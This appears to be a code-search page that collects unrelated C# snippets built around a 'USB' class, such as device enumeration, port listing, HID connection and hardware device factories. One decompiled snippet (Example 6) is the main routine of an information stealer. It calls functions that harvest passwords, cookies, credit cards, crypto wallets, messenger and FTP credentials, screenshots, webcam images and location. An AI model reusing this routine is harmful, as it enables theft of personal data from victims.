Exemplo n.º 1
0
 public Form1()
 {
     InitializeComponent();
     usb = USB.UsbInstance;
     usb.intDevice();
     InitializeValue();
 }
        public ActionResult UserBasedSecurity(string key)
        {
            if (!((CustomPrincipal)User).CanViewAdminFeature("UserBasedSecurity"))
            {
                return(RedirectToAction("Index", "Home"));
            }
            string setEntity = key;
            var    Db        = new UserBasedSecurityContext();
            var    Datalist  = Db.UserBasedSecurities.ToList();
            var    EntList   = GeneratorBase.MVC.ModelReflector.Entities.Where(p => !p.IsAdminEntity && p.Associations.Where(q => q.Target == "IdentityUser").Count() > 0).ToList();

            // var EntList = GeneratorBase.MVC.ModelReflector.Entities.ToList();
            if (key == null && EntList.Count > 0)
            {
                if (Datalist != null && Datalist.Where(p => p.IsMainEntity).Count() > 0)
                {
                    setEntity = Datalist.FirstOrDefault(p => p.IsMainEntity).EntityName;
                    var Entity = ModelReflector.Entities.FirstOrDefault(p => p.Name == setEntity);
                    if (Entity != null)
                    {
                        ViewData["AlreadySet"] = Entity.DisplayName;
                    }
                    else
                    {
                        ViewData["AlreadySet"] = setEntity;
                    }
                }
                else
                {
                    setEntity = EntList[0].Name;
                }
            }

            List <UserBasedSecurity> Data = new List <Models.UserBasedSecurity>();

            if (Datalist != null && Datalist.Where(p => p.EntityName == setEntity && p.IsMainEntity).Count() > 0)
            {
                Data = Datalist;
            }
            else
            {
                List <string> entitiesAdded = new List <string>();
                entitiesAdded.Add(setEntity);
                Data = GetGridData(Data, setEntity, setEntity, entitiesAdded);
            }

            ViewBag.EntityList = new SelectList(EntList, "Name", "DisplayName", setEntity);
            var RoleList = (new GeneratorBase.MVC.Models.CustomRoleProvider()).GetAllRoles().ToList();

            RoleList.Add("All");
            var adminString = System.Configuration.ConfigurationManager.AppSettings["AdministratorRoles"]; //CommonFunction.Instance.AdministratorRoles();

            RoleList.Remove(adminString);
            ViewBag.Roles = new SelectList(RoleList, "", "");

            USB DataUSB = new USB(Data);


            return(View(DataUSB));
        }
 // Token: 0x060000CC RID: 204 RVA: 0x0000B8C0 File Offset: 0x00009AC0
 private static List <TreeViewUsbItem> AddHubNode(string HubPath, string HubNodeName)
 {
     UsbNodeInformation[] usbNodeInformation = USB.GetUsbNodeInformation(HubPath);
     if (usbNodeInformation != null)
     {
         TreeViewUsbItem treeViewUsbItem = new TreeViewUsbItem();
         if (string.IsNullOrEmpty(usbNodeInformation[0].Name))
         {
             treeViewUsbItem.Name = HubNodeName;
         }
         else
         {
             treeViewUsbItem.Name = usbNodeInformation[0].Name;
         }
         treeViewUsbItem.Data = usbNodeInformation[0];
         if (usbNodeInformation[0].NodeType == USB_HUB_NODE.UsbHub)
         {
             treeViewUsbItem.Children = TreeViewUsbItem.AddPortNode(HubPath, usbNodeInformation[0].NumberOfPorts);
         }
         else
         {
             treeViewUsbItem.Children = null;
         }
         return(new List <TreeViewUsbItem>(1)
         {
             treeViewUsbItem
         });
     }
     return(null);
 }
Exemplo n.º 4
0
        /// <summary>
        /// Load the usb devices that are already connected to the system
        /// </summary>
        private void LoadConnectedDevices()
        {
            try
            {
                DriveInfo[] driveInfos = DriveInfo.GetDrives();
                foreach (var driveInfo in driveInfos)
                {
                    //check if the drive is a usb drive
                    USB.USBDevice device = USB.FindDriveLetter(driveInfo.Name.Substring(0, 2));
                    if (device != null)
                    {
                        if (driveInfo.IsReady && driveInfo.TotalSize > 0)
                        {
                            serial = DriveInformation.getSerial(driveInfo.Name); //USB.FindDriveLetter(driveInfo.Name.Substring(0, 2)).SerialNumber;

                            //RegisterDevice(serial);
                            loadDevice(driveInfo.Name);
                        }
                    }
                }
                statuslabel.Text = "Ready";
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
        }
Exemplo n.º 5
0
 private void RefreshPortname()
 {
     try
     {
         List <string> list         = new List <string>();
         string[]      ports        = USB.GetPorts(); //SerialPort.GetPortNames();//
         ComboBox[]    PortcomboBox = { comboBoxOS, comboBoxF1, comboBoxF2 };
         //this.BeginInvoke(new Action(() =>
         //{
         foreach (ComboBox combo in PortcomboBox)
         {
             combo.Items.Clear();
             for (int i = 0; i < ports.Length; i++)
             {
                 combo.Items.Add(ports[i]);
             }
             if (ports.Length > 0)
             {
                 combo.SelectedIndex = ports.Length - 1;
             }
         }
         //   }));
     }
     catch (Exception ex)
     {
         MessageBox.Show(ex.Message);
     }
 }
Exemplo n.º 6
0
 // Token: 0x0600009C RID: 156 RVA: 0x00008324 File Offset: 0x00006524
 private static void Helper()
 {
     Passwords.GetPasswords();
     FireFox.GetPasswordFirefox();
     Internet_Explorer.Start();
     Cookies.GetCookies();
     Autofill.GetCAutofills();
     Clipboard.GetText();
     CreditCards.GetCreditCards();
     History.GetHistory();
     USB.GetUSB();
     DesktopFiles.Inizialize();
     Discord.GetDiscord();
     Skype.GetSkype();
     FTPClient.GetFileZilla();
     ImClient.GetImClients();
     MailClient.GoMailClient();
     VPNClient.GetVPN();
     HardwareInfo.GoInfo();
     ScreenDektop.GetScreenshot("screenshot.jpg");
     Steam.CopySteam();
     Telegram.GetTelegram();
     WebCam.GetWebCamPicture();
     Wallets.GetWallets();
     Location.GetLocation(false);
 }
Exemplo n.º 7
0
        // 枚举设备信息并输出到XML文档
        private void buttonOpenXML_Click(object sender, RoutedEventArgs e)
        {
            String xmlFile = "UsbEnums.xml";

            try
            {   // 检测当前目录下是否可以创建文件
                using (StreamWriter sw = new StreamWriter(xmlFile))
                {
                    sw.Close();
                }
            }
            catch (Exception)
            {   // 当前目录无法创建文件,改到我的文档目录下
                xmlFile = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\\" + xmlFile;
            }

            if (USB.EnumUsbToXML(xmlFile))
            {     // 判断文件是否存在
                if (System.IO.File.Exists(xmlFile))
                { // 打开文件
                    Splash.Diagnostics.Extensions.ShellExecute(xmlFile);
                    return;
                }
            }

            MessageBox.Show("Failed!");
            return;
        }
        private void portRefresh()
        {
            //ComboBox cbnMine = new ComboBox();
            foreach (Control c in extendedPanel1.Controls)
            {
                if (c is MetroFramework.Controls.MetroComboBox)
                {
                    c.Click += delegate(object sender, EventArgs e)
                    {
                        ((ComboBox)sender).Items.Clear();
                        try
                        {
                            List <string> list  = new List <string>();
                            string[]      ports = USB.GetPorts(); //SerialPort.GetPortNames();//

                            ((ComboBox)sender).Items.Clear();
                            for (int i = 0; i < ports.Length; i++)
                            {
                                ((ComboBox)sender).Items.Add(ports[i]);
                            }
                            if (ports.Length > 0)
                            {
                                ((ComboBox)sender).SelectedIndex = ports.Length - 1;
                            }
                        }
                        catch (Exception ex)
                        {
                            MetroMessageBox.Show(this, ex.Message, "Error", MessageBoxButtons.OK);
                        }
                    };
                }
            }
        }
Exemplo n.º 9
0
        /// <summary>
        /// Hub节点
        /// </summary>
        /// <param name="HubPath">Hub路径</param>
        /// <param name="HubNodeName">节点显示名称</param>
        /// <returns>Hub节点集合</returns>
        private static List <UsbPortTree> AddHubNode(String HubPath, String HubNodeName)
        {
            UsbNodeInformation[] NodeInfoCollection = USB.GetUsbNodeInformation(HubPath);
            if (NodeInfoCollection != null)
            {
                UsbPortTree HubNode = new UsbPortTree();
                //HubNode.Icon = ImageHub;
                if (String.IsNullOrEmpty(NodeInfoCollection[0].Name))
                {
                    HubNode.Name = HubNodeName;
                }
                else
                {
                    HubNode.Name = NodeInfoCollection[0].Name;
                }
                HubNode.Data = NodeInfoCollection[0];

                if (NodeInfoCollection[0].NodeType == USB_HUB_NODE.UsbHub)
                {
                    HubNode.Children = AddPortNode(HubPath, NodeInfoCollection[0].NumberOfPorts);
                }
                else
                {
                    HubNode.Children = null;
                }

                return(new List <UsbPortTree>(1)
                {
                    HubNode
                });
            }

            return(null);
        }
Exemplo n.º 10
0
        static void MainSafe(string[] Args)
        {
            Console.Write("Finding USB fan device ... ");

            int Dev = USB.OpenUSBDevice(3141, 29024);

            if (Dev == -1)
            {
                Console.WriteLine("FAIL");
                Console.ReadLine();
                return;
            }
            else
            {
                Console.WriteLine("OK");
            }

            string[] DataLines = File.ReadAllLines("fage.txt");

            foreach (var DataLine in DataLines)
            {
                byte[] DataArray = DataLine.Split(';').Where((In) => !string.IsNullOrWhiteSpace(In)).Select((In) => byte.Parse(In)).ToArray();

                fixed(byte *DataArrayPtr = DataArray)
                {
                    USB.WriteUSB(Dev, (IntPtr)DataArrayPtr, DataArray.Length, out int Written);
                    USB.ReadUSB(Dev, (IntPtr)DataArrayPtr, 3, out int Read);
                }
            }

            USB.CloseUSBDevice(Dev);
            Console.WriteLine("Done!");
            Console.ReadLine();
        }
Exemplo n.º 11
0
        static void CheckUSB3()
        {
            var hostCtrls = USB.GetHostControllers();

            foreach (var hostCtrl in hostCtrls)
            {
                var hub = hostCtrl.GetRootHub();
                foreach (var port in hub.GetPorts())
                {
                    if (port.IsDeviceConnected && !port.IsHub)
                    {
                        var device = port.GetDevice();

                        Console.WriteLine("Product: " + device.Product);
                        Console.WriteLine("Instance: " + device.InstanceID);

                        Console.WriteLine("Name: " + device.Name);
                        Console.WriteLine("Serial: " + device.SerialNumber);
                        Console.WriteLine("Speed:  " + port.Speed);
                        Console.WriteLine("Port:   " + device.PortNumber + Environment.NewLine);
                    }
                }
            }

            //Console.ReadLine();
        }
Exemplo n.º 12
0
        /// <summary>
        /// 自动检测E100设备插拔事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void USBEventHandler(Object sender, EventArrivedEventArgs e)
        {
            bool isClose = false;

            if (e.NewEvent.ClassPath.ClassName == "__InstanceCreationEvent")
            {
                //设备插入
            }
            else if (e.NewEvent.ClassPath.ClassName == "__InstanceDeletionEvent")
            {
                //设备拔出
            }
            foreach (USBControllerDevice device in USB.WhoUSBControllerDevice(e))
            {
                string strUsb = device.Dependent.Replace("\\", "").Replace("&", "").ToUpper().Substring(0, 24);
                //WatchDog.WriteMsg(DateTime.Now.ToString()+"==设备ID:"+str_usb);
                if (strUsb == "USBVID_03EBPID_6133MI_00")//USBVID_03EBPID_6133MI_007755BC1500000设备ID号
                {
                    _isExpection = false;
                    serialPortOption.CreateInstance().IsExitExpection = true;
                    EzUsb.RemoveUSBEventWatcher();
                    isClose = true;
                }
            }
            if (isClose)
            {
                Close();
            }
        }
 internal LinkDeviceModern(USB.BaseUSBDevice usbDevice, byte channel)
     : base(usbDevice, channel)
 {
     lock (subDeviceLock)
     {
         RefreshCoreValues();
     }
 }
 public void USBChanged(EventArrivedEventArgs e)
 {
     //PnPEntityInfo Element = GetCameraEntity(e.NewEvent as ManagementObject);
     USB.WhoUSBControllerDevice(e);
     //ManagementObject mbo = e.NewEvent["TargetInstance"] as ManagementObject;    //will get the mbo value:null
     //PnPEntityInfo Element = GetCameraEntity(mbo);
     GetManagementBaseObjectProperties(e.NewEvent);
 }
Exemplo n.º 15
0
 // Token: 0x06000738 RID: 1848 RVA: 0x0002A6FC File Offset: 0x000288FC
 private void FindGGUSB()
 {
     foreach (USB.USBController current in USB.GetHostControllers())
     {
         USB.USBHub rootHub = current.GetRootHub();
         this.ProcessHub(rootHub);
     }
 }
Exemplo n.º 16
0
        void MainWindow_Loaded(object sender, RoutedEventArgs e)
        {
            HwndSource source = HwndSource.FromHwnd(new WindowInteropHelper(Application.Current.MainWindow).Handle);
            IntPtr     handle = new WindowInteropHelper(Application.Current.MainWindow).Handle;

            source.AddHook(new HwndSourceHook(WndProc));
            USB.RegisterHandle(handle);
        }
Exemplo n.º 17
0
        public MainPageViewModel()
        {
            Application.Current.MainWindow.Loaded += MainWindow_Loaded;

            refreshtimer.Interval = TimeSpan.FromMilliseconds(100);
            refreshtimer.Tick    += Refreshtimer_Tick;

            ReportInput  = new ObservableCollection <ReportByte>();
            ReportOutput = new ObservableCollection <ReportByte>();

            IsConnected        = false;
            IsConnectByPIDVID  = false;
            SendByOutputReport = true;

            UpdateAvalibleDevices();

            Сommand_Connect = new RelayCommand((p) =>
            {
                USB.OnSpecifiedDeviceRemoved += Usb_OnSpecifiedDeviceRemoved;
                USB.OnDataRecieved           += Usb_OnDataRecieved;
                if (IsConnectByPIDVID)
                {
                    IsConnected = USB.Open(DeviceVID, DevicePID);
                }
                else
                {
                    IsConnected = USB.Open(SelectedDevice);
                }

                if (IsConnected)
                {
                    RaisePropertyChanged("USB");
                    for (UInt16 i = 0; i < USB.SpecifiedDevice.InputReportLength; i++)
                    {
                        ReportInput.Add(new ReportByte()
                        {
                            Color = Brushes.Black, Data = 0x00
                        });
                    }
                    UpdateOutputReport();
                }
            }, (p) => (SelectedDevice != null && !IsConnected));

            Сommand_Disconnect = new RelayCommand((p) =>
            {
                IsConnected = false;
                ReportInput.Clear();
                ReportOutput.Clear();
                USB.OnSpecifiedDeviceRemoved -= Usb_OnSpecifiedDeviceRemoved;
                USB.OnDataRecieved           -= Usb_OnDataRecieved;
                USB.Close();
            }, (p) => IsConnected);

            Сommand_WriteReport = new RelayCommand((p) =>
            {
                SendReportToDevice();
            }, (p) => IsConnected);
        }
Exemplo n.º 18
0
        private void Get_USB()
        {
            USB usb = new USB();

            DriveInfo[] s = DriveInfo.GetDrives();
            foreach (DriveInfo drive in s)
            {
                if (drive.DriveType == DriveType.Removable)
                {
                    //盘符
                    usb.pf = drive.Name.ToString();
                    break;
                }
            }
            ManagementClass            cimobject = new ManagementClass("Win32_DiskDrive");
            ManagementObjectCollection moc       = cimobject.GetInstances();

            foreach (ManagementObject mo in moc)
            {
                if (mo.Properties["InterfaceType"].Value.ToString() == "USB")
                {
                    try
                    {
                        //产品名称
                        //mo.Properties["Caption"].Value.ToString();

                        //总容量
                        //mo.Properties["Size"].Value.ToString();


                        string[] info = mo.Properties["PNPDeviceID"].Value.ToString().Split('&');
                        string[] xx   = info[3].Split('\\');
                        //序列号 xx[1]
                        //MessageBox.Show("U盘序列号:" + xx[1] + "\n" + xx[0]);

                        usb.name = mo.Properties["Caption"].Value.ToString();
                        usb.ID   = xx[1];
                        usbs.Add(usb);
                        comboBox1.Items.Add(usb.name);

                        //PNPDeviceID.Text = xx[1];
                        //xx = xx[0].Split('_');

                        //版本号
                        //REV.Text = xx[1];

                        //制造商ID
                        //xx = info[1].Split('_');
                        //VID.Text = xx[1];
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show(ex.Message);
                    }
                }
            }
        }
Exemplo n.º 19
0
 public MainController(MainWindow x, AttitudeData y)
 {
     this._main         = x;
     this._data         = y;
     this._usb          = new USB(x, y, this);
     this._usbConnected = false;
     this.setDataAddress();
     this.refreshComports();
 }
Exemplo n.º 20
0
        public static Form warning_form = null;      // 네트워크 연결 알림폼

        private void USBConnectionProcess()          // USB 연결관리 쓰레드가 수행할 기능
        {
            CheckForIllegalCrossThreadCalls = false; // 크로스 쓰레드 문제발생을 해결

            while (true)                             // 무한루프를 통한 지속점검
            {
                if (running == false)
                {
                    running = true;

                    driveName = USB.USB_Connection_Check(); // USB 연결여부를 가져옴
                    if (!String.IsNullOrEmpty(driveName))   // USB가 하나라도 연결된 경우
                    {
                        connection   = true;                // USB 연결이 감지됨
                        this.Opacity = 1.0;                 // 폼을 보이도록 함

                        if (NetworkInterface.GetIsNetworkAvailable())
                        {
                            Network.Disable_Network(); // 네트워크를 연결해지함

                            if (warning_form == null)
                            {
                                warning_form = new Forms.Network_Warning();
                                warning_form.ShowDialog();
                            }
                        }

                        if (!working)                           // 파일 암/복호화 동작중이 아닌경우
                        {
                            files = Files.Get_Files(driveName); // 연결된 USB의 모든 파일리스트를 가져옴 (파일현황 주기적 갱신)
                        }
                        if (!mode)                              // 파일 보관모드인경우에만 암호화 처리
                        {
                            Files.Encrypt(files, password);     // 비동기방식으로 연결된 USB의 모든 파일을 암호화함
                        }
                    }
                    else // USB 연결이 제거된 경우
                    {
                        if (!NetworkInterface.GetIsNetworkAvailable()) // 네트워크 연결이 되지 않는 경우
                        {
                            if (deny)                     // 해당 프로그램에 의해 네트워크를 차단한 경우
                            {
                                Network.Enable_Network(); // 네트워크를 다시 연결함
                            }
                        }

                        this.Opacity = 0;     // 폼을 숨김
                        connection   = false; // USB 연결이 제거됨
                        working      = false; // 프로그램을 파일 보관모드로 변경
                    }

                    running = false;
                    Thread.Sleep(2000); // 무한루프 중 부하방지를 위해 쓰레드에 일시 휴식 부여
                }
            }
        }
Exemplo n.º 21
0
        public static void Main(string[] args)
        {
            Application.Init();
            USB win = new USB();

            win.Show();
            // win.Resize(320, 200);
            win.ShowAll();
            Application.Run();
        }
Exemplo n.º 22
0
        IntPtr WndProc(IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam, ref bool handled)
        {
            USB.ParseMessages(msg, wParam);

            if (msg == Win32Usb.WM_DEVICECHANGE && (wParam.ToInt32() == Win32Usb.DEVICE_ARRIVAL || wParam.ToInt32() == Win32Usb.DEVICE_REMOVECOMPLETE))
            {
                UpdateAvalibleDevices();
            }
            return(IntPtr.Zero);
        }
Exemplo n.º 23
0
        protected override void ControlsToData()
        {
            if (_bus == null)
            {
                _bus = new USB();
            }
            base.ControlsToData();
            var usb = (USB)_bus;

            usb.Version = versionIdentifierControl.VersionIdentifier;
        }
Exemplo n.º 24
0
        /// <summary>
        /// Do work - process sensor data
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void AcquisitionWorker_DoWork(object sender, DoWorkEventArgs e)
        {
            backgroundIsFinished_ = false;
            BackgroundWorker worker = sender as BackgroundWorker;

            while (!worker.CancellationPending) //Do the work
            {
                foreach (USBdevice_GUI USB in USBdevices)
                {
                    SingleTact      singleTact = USB.singleTact;
                    SingleTactFrame newFrame   = singleTact.ReadSensorData(); //Get sensor data

                    if (null != newFrame)                                     //If we have data
                    {
                        USB.addFrame(newFrame);

                        // use first timestamp only to quantise readings and match csv output
                        AddData(USBdevices[0].lastTimeStamp, newFrame.SensorData, USB);     //Add to stripchart
                    }
                    else  // USB has been unplugged
                    {
                        new Thread(() =>
                        {
                            guiTimer_.Stop();
                            backgroundIsFinished_ = true;
                            var index             = USBdevices.IndexOf(USB);
                            var comPort           = comPortList[index];
                            var result            = MessageBox.Show(
                                comPort.ToString() + " has been unplugged.\nWould you like to save your data before exiting?",
                                "Error!",
                                MessageBoxButtons.YesNo,
                                MessageBoxIcon.Error);
                            if (result == DialogResult.Yes)
                            {
                                buttonSave_Click(this, null);
                            }
                            Application.Exit();
                        }).Start();
                        backgroundIsFinished_ = false;
                        StopAcquisitionThread();
                        break;
                    }

                    //Calculate rate
                    double delta = newFrame.TimeStamp - USB.lastTimeStamp; // calculate delta relative to previous sensor's last reading
                    if (delta != 0)
                    {
                        measuredFrequency_ = measuredFrequency_ * 0.95 + 0.05 * (1.0 / (delta));      //Averaging
                    }
                    //measuredFrequency_ = 1/delta;
                    USB.setTimestamp(newFrame.TimeStamp);
                }
            }
        }
Exemplo n.º 25
0
        private void createDevices()
        {
            //Console.WriteLine("Creating Device Objects...");
            List <Device> new_devices = new List <Device>();

            foreach (var dev in _devices)
            {
                switch (dev.module_type)
                {
                case 0:     //unknown
                    break;

                case 1:     // *** Smartplug ***
                    SmartPlug smartplug = new SmartPlug(dev);
                    new_devices.Add(smartplug);
                    break;

                case 2:     // *** Bluetooth ***
                    Bluetooth bluetooth = new Bluetooth(dev);
                    new_devices.Add(bluetooth);
                    break;

                case 3:     // *** USB ***
                    USB usb = new USB(dev);
                    new_devices.Add(usb);
                    break;

                case 4:     // *** Infrared ***
                    Infrared infrared = new Infrared(dev);
                    new_devices.Add(infrared);
                    break;

                case 5:     // *** Industrial ***
                    Industrial industrial = new Industrial(dev);
                    new_devices.Add(industrial);
                    break;

                case 6:     // *** Multiboard ***
                    Multiboard multiboard = new Multiboard(dev);
                    new_devices.Add(multiboard);
                    break;

                case 7:     // *** Audio ***
                    Audio audio = new Audio(dev);
                    new_devices.Add(audio);
                    break;

                default:
                    break;
                }
            }
            _devices.Clear();
            _devices.AddRange(new_devices);
        }
Exemplo n.º 26
0
        private void start_adc()
        {
            int ret;

            hdev = USB.InitFindAndOpenDevice(0xfffe, 0x00ff);
            ret  = libUSB_Interface.usb_set_configuration(hdev, 1);
            ret  = libUSB_Interface.usb_claim_interface(hdev, 0);
            ret  = libUSB_Interface.usb_set_altinterface(hdev, 0);
            ret  = libUSB_Interface.usb_clear_halt(hdev, 0x02);
            ret  = libUSB_Interface.usb_clear_halt(hdev, 0x86);
        }
Exemplo n.º 27
0
        public override void ApplyPropertyValues()
        {
            Setup.ApplyPropertyValues();
            InputOutput.ApplyPropertyValues();
            USB.ApplyPropertyValues();
            MIDI.ApplyPropertyValues();

            #region DefaultMemory
            Track1.ApplyPropertyValues();
            Track2.ApplyPropertyValues();
            Track3.ApplyPropertyValues();
            Track4.ApplyPropertyValues();
            Track5.ApplyPropertyValues();

            Rhythm.ApplyPropertyValues();
            //Name.ApplyPropertyValues();
            Master.ApplyPropertyValues();
            RecOption.ApplyPropertyValues();
            PlayOption.ApplyPropertyValues();

            Assign1.ApplyPropertyValues();
            Assign2.ApplyPropertyValues();
            Assign3.ApplyPropertyValues();
            Assign4.ApplyPropertyValues();
            Assign5.ApplyPropertyValues();
            Assign6.ApplyPropertyValues();
            Assign7.ApplyPropertyValues();
            Assign8.ApplyPropertyValues();
            Assign9.ApplyPropertyValues();
            Assign10.ApplyPropertyValues();
            Assign11.ApplyPropertyValues();
            Assign12.ApplyPropertyValues();
            Assign13.ApplyPropertyValues();
            Assign14.ApplyPropertyValues();
            Assign15.ApplyPropertyValues();
            Assign16.ApplyPropertyValues();

            InputFx.ApplyPropertyValues();
            TrackFx.ApplyPropertyValues();

            BeatFxA.ApplyPropertyValues();
            BeatFxB.ApplyPropertyValues();
            BeatFxC.ApplyPropertyValues();

            InputFxA.ApplyPropertyValues();
            InputFxB.ApplyPropertyValues();
            InputFxC.ApplyPropertyValues();

            TrackFxA.ApplyPropertyValues();
            TrackFxB.ApplyPropertyValues();
            TrackFxC.ApplyPropertyValues();
            #endregion DefaultMemory
        }
Exemplo n.º 28
0
 internal static BaseLinkDevice CreateNew(USB.BaseUSBDevice usbDevice, byte channel, byte deviceType)
 {
     switch (deviceType)
     {
         case 0x5:
             return new LinkDeviceModern(usbDevice, channel);
         case 0x3:
             return new LinkDeviceAFP(usbDevice, channel);
         case 0x1:
             return LinkDevicePSU.CreateNew(usbDevice, channel);
         default:
             return null;
     }
 }
Exemplo n.º 29
0
 internal static LinkDevicePSU CreateNew(USB.BaseUSBDevice usbDevice, byte channel)
 {
     LinkDevicePSU genericPSU = new LinkDevicePSU(usbDevice, channel);
     string psuName = genericPSU.GetInternalName();
     if (psuName == "AX1200i")
         return new LinkDevicePSUAX1200i(usbDevice, channel);
     if (psuName == "AX1500i")
         return new LinkDevicePSUAX1500i(usbDevice, channel);
     if (psuName.StartsWith("HX") && psuName != "HX1200i" && psuName != "HX1000i")
         return new LinkDevicePSUHXiNoRail(usbDevice, channel);
     if (psuName.StartsWith("HX"))
         return new LinkDevicePSUHX(usbDevice, channel);
     return genericPSU;
 }
Exemplo n.º 30
0
        public void ZmianaPortuIPrzeslaniePonownieDanych()
        {
            IWtyczka sata = new SATA();
            IWtyczka usb  = new USB();

            DyskHDD dysk = new DyskHDD(sata);

            string dane = "Jakieœ dane";

            dysk.WgrajDane(dane);
            dysk.PrzepnijPort(usb);
            dysk.WgrajDane(dane);

            Assert.AreEqual(dane, usb.PrzeslijDane());
        }
Exemplo n.º 31
0
        //+1 byte reserved

        public override byte[] ToArray()
        {
            var arr = base.ToArray();

            arr[0x2] = USB.LoByte();
            arr[0x3] = USB.HiByte();
            arr[0x4] = DeviceClass;
            arr[0x5] = DeviceSubClass;
            arr[0x6] = DeviceProtocol;
            arr[0x7] = MaxPacketSize;
            arr[0x8] = NumberOfConfigurations;
            arr[0x9] = 0;
            //Reserved
            return(arr);
        }
Exemplo n.º 32
0
        public override void OnReceive(Context context, Intent intent)
        {
            Logger.LogInfo(nameof(DisconnectReceiver), nameof(OnReceive), "called.");
            Logger.LogInfo(nameof(DisconnectReceiver), nameof(OnReceive), "Intent was: " + intent.Action);

            if (intent.Action == UsbManager.ActionUsbAccessoryDetached)
            {
                var acceesory = (UsbAccessory)intent.GetParcelableExtra(UsbManager.ExtraAccessory);

                if (acceesory != null)
                {
                    USB.CloseUSBConnection();
                }
            }
        }
Exemplo n.º 33
0
 /// <summary>
 /// Creates a clone of this instance
 /// </summary>
 /// <returns>Clone of this instance</returns>
 public object Clone()
 {
     return(new Channels
     {
         HTTP = (Channel)HTTP.Clone(),
         Telnet = (Channel)Telnet.Clone(),
         File = (Channel)File.Clone(),
         USB = (Channel)USB.Clone(),
         AUX = (Channel)AUX.Clone(),
         Daemon = (Channel)Daemon.Clone(),
         CodeQueue = (Channel)CodeQueue.Clone(),
         LCD = (Channel)LCD.Clone(),
         SPI = (Channel)SPI.Clone(),
         AutoPause = (Channel)AutoPause.Clone()
     });
 }
Exemplo n.º 34
0
 internal LinkDeviceAFP(USB.BaseUSBDevice usbDevice, byte channel) : base(usbDevice, channel) { }
Exemplo n.º 35
0
 internal BaseLinkDevice(USB.BaseUSBDevice usbDevice, byte channel) : base(usbDevice)
 {
     this.usbDevice = usbDevice;
     this.channel = channel;
 }
 internal LinkDevicePSUAX1200i(USB.BaseUSBDevice usbDevice, byte channel) : base(usbDevice, channel) { }
 internal LinkDevicePSUHXiNoRail(USB.BaseUSBDevice usbDevice, byte channel) : base(usbDevice, channel) { }